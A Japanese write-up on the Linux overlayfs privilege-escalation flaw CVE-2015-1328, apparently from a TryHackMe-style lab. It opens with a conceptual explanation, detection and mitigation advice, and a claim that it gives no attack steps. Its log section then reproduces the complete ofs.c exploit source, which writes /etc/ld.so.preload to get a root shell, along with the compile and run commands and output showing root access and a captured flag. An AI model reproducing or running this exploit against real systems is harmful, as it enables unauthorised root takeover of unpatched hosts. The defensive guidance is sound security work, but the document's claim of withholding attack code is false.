概要
CVE-2015-1328(通称:overlayfsローカル権限昇格)は、ユーザ空間からの不適切なパーミッション処理とユーザネームスペース(user namespaces)を組み合わせることで、非特権ユーザがroot権限を取得できる脆弱性です。2015年に報告・修正され、影響を受けるカーネルではoverlayfsのマウント実装が原因でした。実際の公開 exploit(例: Exploit-DB の ofs.c)は研究/学習目的で参照できますが、本記事は動作手順や実行方法を提供するものではありません。実機での実行は法的・倫理的リスクとシステム破壊の可能性があるため避けてください。
脆弱性の技術的要点
- rootに近い処理を行うカーネルのファイルシステム(overlayfs)で、マウント時の権限管理やユーザネームスペース周りの境界が不適切に扱われるケースが存在した。
-
user namespacesを利用して一時的に分離した名前空間内で overlayfs を不正にマウント/操作し、最終的に/etc/ld.so.preloadのようなシステムのロード設定を書き換える等の永続化経路を作成する手法が知られている。 -
/etc/ld.so.preloadへの書き込みを行えば、共有ライブラリのロード経路を介して任意のコードを root コンテキストで走らせられる(典型的な escalation パターン)。
(上記は概念説明に留め、攻撃コードや手順は提示しない。)
影響範囲
- 影響:ローカルにログインできる非特権ユーザが root 権限を取得する可能性。
- 対象:修正適用前の Linux カーネル(影響バージョンは報告に依存)。公開時点では Ubuntu 12.04/14.04/14.10/15.04 等の一部カーネル実装が報告された。
- リスク:完全なシステム乗っ取り、永続化、機密情報抽出、横展開の踏み台化。
検出方法(運用側/防御側の観点)
以下は侵害や試行を検知するための観点。ログ・監視の強化が有効。
-
ファイル整合性監視(FIM)
-
/etc/ld.so.preloadや/etc/passwd、/etc/shadowの変更を監視する。改変があればアラート発報。
-
-
監査ログ(auditd)ルール
- マウント関連の
syscall(mount, umount, clone/unshare 等)を監査し、異常なマウントオプションや非特権プロセスによるユーザネームスペース操作を検知する。
- マウント関連の
-
プロセス/ライブラリロード監視
- 新規にロードされる共有ライブラリ(/tmp 等からのロード)を検出する仕組み。RPATH/LD_PRELOAD の不正利用検知。
-
カーネルイベント監視
- 不審な
unshare(CLONE_NEWUSER)呼び出しや、ワークディレクトリに対する大量のマウント操作(短時間での mount/umount)が見られる場合は調査。
- 不審な
-
SIEM ルール例
- 非root UID からの mount イベント、短時間に
/tmp内での winzos 的ファイル作成→実行の連続などを相関させる。
- 非root UID からの mount イベント、短時間に
緩和策
-
カーネルのアップデート
- 最も確実かつ推奨の対応:ベンダ提供のセキュリティパッチを適用してカーネルを更新する。CVE に対する修正が入ったバージョンを適用すること。
-
非特権ユーザのネームスペースを制限
-
kernel.unprivileged_userns_clone=0の sysctl 設定(多くのディストリで有効)で、無許可の user namespace 作成を無効化する。ただし一部アプリに影響が出る可能性があるため事前評価が必要。
-
-
/etc/ld.so.preload 等重要ファイルの保護
- immutable フラグ(
chattr +i)や FIM、権限の厳格化で非rootによる改変を物理的に防ぐ。ただし運用更新時の手順を整備すること。
- immutable フラグ(
-
overlayfs の利用方針見直し
- 不要なホストでの overlayfs マウントを制限、コンテナ基盤等での利用ポリシーを明確化する。
-
最小権限・分離
- 不要なグループ付与や suid ビナリの削減、ユーザごとの権限分離を徹底する。
安全に試験・学習するためのガイドライン(ラボ環境向け)
- 法的同意と範囲確認:実機(企業・公共サーバ)での試行は必ず事前許可を取得する。許可なく攻撃コードを実行することは違法行為。
- 隔離された環境:物理的に隔離したネットワーク、スナップショット可能な仮想マシン(VM)、スナップショットの取得と復元手順を用意する。
- バックアップ:実行前にVMのクローン/スナップショットを取り、クラッシュ/破壊から速やかに復旧できる状態にする。
- ログ採取:試験中はホスト側で詳細な監査ログ・トレースを取る(auditd, syslog, packet capture 等)。攻撃の痕跡と検知方法を記録すること。
- 実行不可の環境:本番サーバや共有リソース上では一切試行しない。
まとめ
与えられた exploit コードや実行手順は学術的・研究的な価値がありますが、実行手順の具体的提示・実行支援は行いません。攻撃コードを実行する前に、必ず法的・倫理的な確認、分離されたラボ環境、バックアップ・復旧計画を整えてください。防御側(ディフェンス)の視点で、検出・緩和・パッチ適用を最優先に行うことを推奨します。
Log
ターゲットシステム上でルート権限を得るために、適切なカーネルのエクスプロイトを見つけて実行する。
CVE-2015-1328 を利用
$ touch ofs.c
$ nano ofs.c
$ cat ofs.c
/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)
greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
$ gcc ofs.c -o ofs
$ ls -ls
total 32
16 -rwxrwxr-x 1 karen karen 13642 Nov 4 08:07 ofs
8 -rw-rw-r-- 1 karen karen 4982 Nov 4 08:05 ofs.c
$ ./ofs
spawning threads
mount #1
child threads done
/etc/ld.so.preload created
creating shared library
# sudo find / -name flag1.txt
/home/matt/flag1.txt
# cat /home/matt/flag1.txt
THM-28392872729920